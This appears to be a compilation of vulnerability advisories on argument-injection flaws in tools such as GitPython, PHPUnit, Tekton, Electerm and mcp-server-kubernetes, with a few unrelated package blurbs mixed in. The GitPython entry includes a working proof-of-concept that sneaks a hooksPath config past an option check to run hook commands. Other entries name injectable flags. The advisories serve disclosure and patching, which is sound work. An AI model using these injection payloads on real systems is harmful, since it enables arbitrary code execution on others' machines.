Hex-Rays IDA Pro 9.2 and 9.3 before 9.3sp2 does not block Clang dependency-file generation (via argument injection), which allows attackers to place their code into a plugins directory if the victim uses an attacker-supplied .i64 file.
ArchiveBox versions 0.8.6rc0 and earlier have a critical vulnerability in the /add/ endpoint where a config JSON field is merged into the crawl configuration without validation. This config is used as environment variables for archive plugins, enabling argument injection that can lead to remote code execution (RCE). No patches are publicly available at the time of disclosure.
PHPUnit is a testing framework for PHP. In versions 12.5.21 and 13.1.5, PHPUnit forwards PHP INI settings to child processes (used for isolated/PHPT test execution) as -d name=value command-line arguments without neutralizing INI metacharacters. Because PHP's INI parser interprets " as a string delimiter, ; as the start of a comment, and most importantly a newline as a directive separator, a value containing a newline is parsed by the child process as multiple INI directives. An attacker able to influence a single INI value can therefore inject arbitrary additional directives into the child's configuration, including auto_prepend_file, extension, disable_functions, open_basedir, and others. Setting auto_prepend_file to an attacker-controlled path yields remote code execution in the child process. This issue has been patched in versions 12.5.22 and 13.1.6.
Electerm versions 3.8.15 and earlier contain a critical vulnerability where the terminal hyperlink handler passes clicked URLs directly to shell.openExternal without validating the protocol. This allows an attacker who controls terminal output to execute arbitrary code or access local files if the victim clicks a malicious link. No patches are publicly available at the time of disclosure.
A remote code execution vulnerability exists in electerm versions prior to 3.7.9. The flaw occurs in the SFTP 'open with system editor' and 'edit with custom editor' features, where filenames are passed unsanitized to the command line. An attacker controlling the SSH server or user OS can craft malicious filenames with shell metacharacters that execute arbitrary commands when the victim opens the file for editing. This vulnerability has been fixed in version 3.7.9.
### Summary
`_clone()` validates `multi_options` as the original list, then executes `shlex.split(" ".join(multi_options))`. A string like `"--branch main --config core.hooksPath=/x"` passes validation (starts with `--branch`), but after split becomes `["--branch", "main", "--config", "core.hooksPath=/x"]`. Git applies the config and executes attacker hooks during clone.
### Details
The vulnerable code is in [`git/repo/base.py` line 1383](https://github.com/gitpython-developers/GitPython/blob/5937d14a2c5e532fcb3ece0f45bf75e5bf18539e/git/repo/base.py#L1383):
```python
multi = shlex.split(" ".join(multi_options))
```
Then validation runs on the **original** list at [line 1390](https://github.com/gitpython-developers/GitPython/blob/5937d14a2c5e532fcb3ece0f45bf75e5bf18539e/git/repo/base.py#L1390):
```python
Git.check_unsafe_options(options=multi_options, unsafe_options=cls.unsafe_git_clone_options)
```
Then execution uses the **transformed** result at [line 1392](https://github.com/gitpython-developers/GitPython/blob/5937d14a2c5e532fcb3ece0f45bf75e5bf18539e/git/repo/base.py#L1392):
```python
proc = git.clone(multi, "--", url, path, ...)
```
The [check at `git/cmd.py` line 959](https://github.com/gitpython-developers/GitPython/blob/5937d14a2c5e532fcb3ece0f45bf75e5bf18539e/git/cmd.py#L959) uses `startswith`:
```python
if option.startswith(unsafe_option) or option == bare_option:
```
`"--branch main --config ..."` does not start with `"--config"`, so it passes. After `shlex.split`, `"--config"` becomes its own token and reaches git.
Also affects `Submodule.update()` via `clone_multi_options`.
### PoC
```python
import sys, pathlib, subprocess
sys.path.insert(0, str(pathlib.Path(__file__).resolve().parent))
from git import Repo
from git.exc import UnsafeOptionError
try:
Repo.clone_from("/nonexistent", "/tmp/x", multi_options=["--config", "core.hooksPath=/x"])
except UnsafeOptionError:
print("multi_options=['--config', '...']: Block as expected")
except Exception:
pass
DIR = pathlib.Path(__file__).resolve().parent / "workdir_b"
SRC = DIR / "repo"
DST = DIR / "dst"
HOOKS = DIR / "hooks"
LOG = DIR / "output.log"
if not SRC.exists():
SRC.mkdir(parents=True)
r = lambda *a: subprocess.run(a, cwd=SRC, capture_output=True)
r("git", "init", "-b", "main")
(SRC / "f").write_text("x\n")
r("git", "add", ".")
r("git", "commit", "-m", "init")
HOOKS.mkdir(exist_ok=True)
hook = HOOKS / "post-checkout"
hook.write_text(f"#!/bin/sh\nwhoami > {LOG.as_posix()}\nhostname >> {LOG.as_posix()}\n")
hook.chmod(0o755)
LOG.unlink(missing_ok=True)
payload = "--branch main --config core.hooksPath=" + HOOKS.as_posix()
try:
Repo.clone_from(str(SRC), str(DST), multi_options=[payload])
except UnsafeOptionError:
print(f"multi_options=['{payload}']: BLOCKED"); sys.exit(1)
except Exception:
pass
if not LOG.exists() and DST.exists():
subprocess.run(["git", "checkout", "--force", "main"], cwd=DST, capture_output=True)
print(f"multi_options=['{payload}']: not blocked")
print(f"\nHook executed: {LOG.exists()}")
if LOG.exists():
print(LOG.read_text().strip())
```
**Output:**
```
multi_options=['--config', '...']: Block as expected
multi_options=['--branch main --config core.hooksPath=.../hooks']: not blocked
Hook executed: True
texugo
DESKTOP-5w5HH79
```
### Impact
Any application passing user input to `multi_options` in `clone_from()`, `clone()`, or `Submodule.update()` is vulnerable. Attacker embeds `--config core.hooksPath=<dir>` inside a string starting with a safe option. Check does not block it. Git executes attacker code. Same class as CVE-2023-40267.
Gotenberg versions 8.30.1 and earlier have an argument injection vulnerability in the metadata write endpoint. While metadata keys are validated for control characters, metadata values are not sanitized, allowing newline characters to split ExifTool input into multiple arguments. This enables injection of arbitrary ExifTool pseudo-tags, permitting an unauthenticated attacker to rename, move, overwrite files, or create symlinks and hard links within the container filesystem.
CVE-2026-7865 is a command injection vulnerability in Crestron Electronics Touchpanels (x60/x70) firmware version 3.002.0043.001. The flaw exists in a hidden console command that improperly neutralizes argument delimiters when passing control characters to its second argument, allowing command injection. An attacker with authenticated SSH console access could exploit this to execute arbitrary OS commands. The vulnerability has a high severity score of 7.4. No official patch or remediation guidance has been published yet.
Red Hat® Enterprise Linux® AI is a foundation model platform to seamlessly develop, test,
and run Granite family large language models (LLMs) for enterprise applications.
Tekton Pipelines project provides k8s-style resources for declaring CI/CD-style pipelines. Starting in version 1.0.0 and prior to versions 1.0.2, 1.3.4, 1.6.2, 1.9.3, and 1.11.1, the git resolver's revision parameter is passed directly as a positional argument to git fetch without any validation that it does not begin with a - character. Because git parses flags from mixed positional arguments, an attacker can inject arbitrary git fetch flags such as --upload-pack=<binary>. Combined with the validateRepoURL function explicitly permitting URLs that begin with / (local filesystem paths), a tenant who can submit ResolutionRequest objects can chain these two behaviors to execute an arbitrary binary on the resolver pod. The tekton-pipelines-resolvers ServiceAccount holds cluster-wide get/list/watch on all Secrets, so code execution on the resolver pod enables full cluster-wide secret exfiltration. Versions 1.0.2, 1.3.4, 1.6.2, 1.9.3, and 1.11.1 fix the issue.
CVE-2026-6437 is a vulnerability in the AWS EFS CSI Driver before version 3.0.1 where improper neutralization of argument delimiters allows remote authenticated users with PersistentVolume creation permissions to inject arbitrary mount options via comma injection. This can lead to high confidentiality and integrity impact but does not affect availability. The issue is fixed in version 3.0.1.
Dell PowerProtect Data Domain, versions 7.7.1.0 through 8.6.0.0 and version 8.7.0.0, LTS2025 release versions 8.3.1.0 through 8.3.1.20, LTS2024 release versions 7.13.1.0 through 7.13.1.60 contain an improper neutralization
of argument delimiters in a command ('argument injection') vulnerability. A high privileged attacker with local access could potentially exploit this vulnerability, leading to arbitrary command execution with root privileges.
During an internal security assessment, a potential vulnerability was discovered in Lenovo Software Fix that could allow a local authenticated user to perform arbitrary code execution with elevated privileges.
mcp-server-kubernetes is a Model Context Protocol server for Kubernetes cluster management. Versions 3.4.0 and prior contain an argument injection vulnerability in the port_forward tool in src/tools/port_forward.ts, where a kubectl command is constructed via string concatenation with user-controlled input and then naively split on spaces before being passed to spawn(). Unlike all other tools in the codebase which correctly use array-based argument passing with execFileSync(), port_forward treats every space in user-controlled fields (namespace, resourceType, resourceName, localPort, targetPort) as an argument boundary, allowing an attacker to inject arbitrary kubectl flags. This enables exposure of internal Kubernetes services to the network by injecting --address=0.0.0.0, cross-namespace targeting by injecting additional -n flags, and indirect exploitation via prompt injection against AI agents connected to the MCP server. This issue has been fixed in version 3.5.0.
Improper neutralization of argument delimiters in a command ('argument injection') vulnerability in upKeeper Solutions upKeeper Instant Privilege Access allows Hijacking a Privileged Thread of Execution.This issue affects upKeeper Instant Privilege Access: through 1.5.0.
The golang packages provide the Go programming language compiler.
Security Fix(es):
* cmd/go: cmd/go: Arbitrary file write via malicious pkg-config directive (CVE-2025-61731)
* net/url: Incorrect parsing of IPv6 host literals in net/url (CVE-2026-25679)
For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.
PraisonAI is a multi-agent teams system. Prior to 4.5.128, deploy.py constructs a single comma-delimited string for the gcloud run
deploy --set-env-vars argument by directly interpolating openai_model, openai_key, and openai_base without validating that these values do not contain commas.gcloud uses a comma as the key-value pair separator for --set-env-vars. A comma in any of the three values causes gcloud to parse the trailing text as additional KEY=VALUE definitions, injecting arbitrary environment variables into the deployed Cloud Run service. This vulnerability is fixed in 4.5.128.
CVE-2026-35538 is a vulnerability in Roundcube Webmail versions before 1.5.14 and 1.6.14 where unsanitized IMAP SEARCH command arguments can lead to IMAP injection or CSRF bypass during mail search. The issue arises from improper neutralization of argument delimiters (CWE-88). The vulnerability has a low severity with a CVSS score of 3.1. No official patch or remediation level is currently confirmed from the vendor advisory. There are no known exploits in the wild at this time.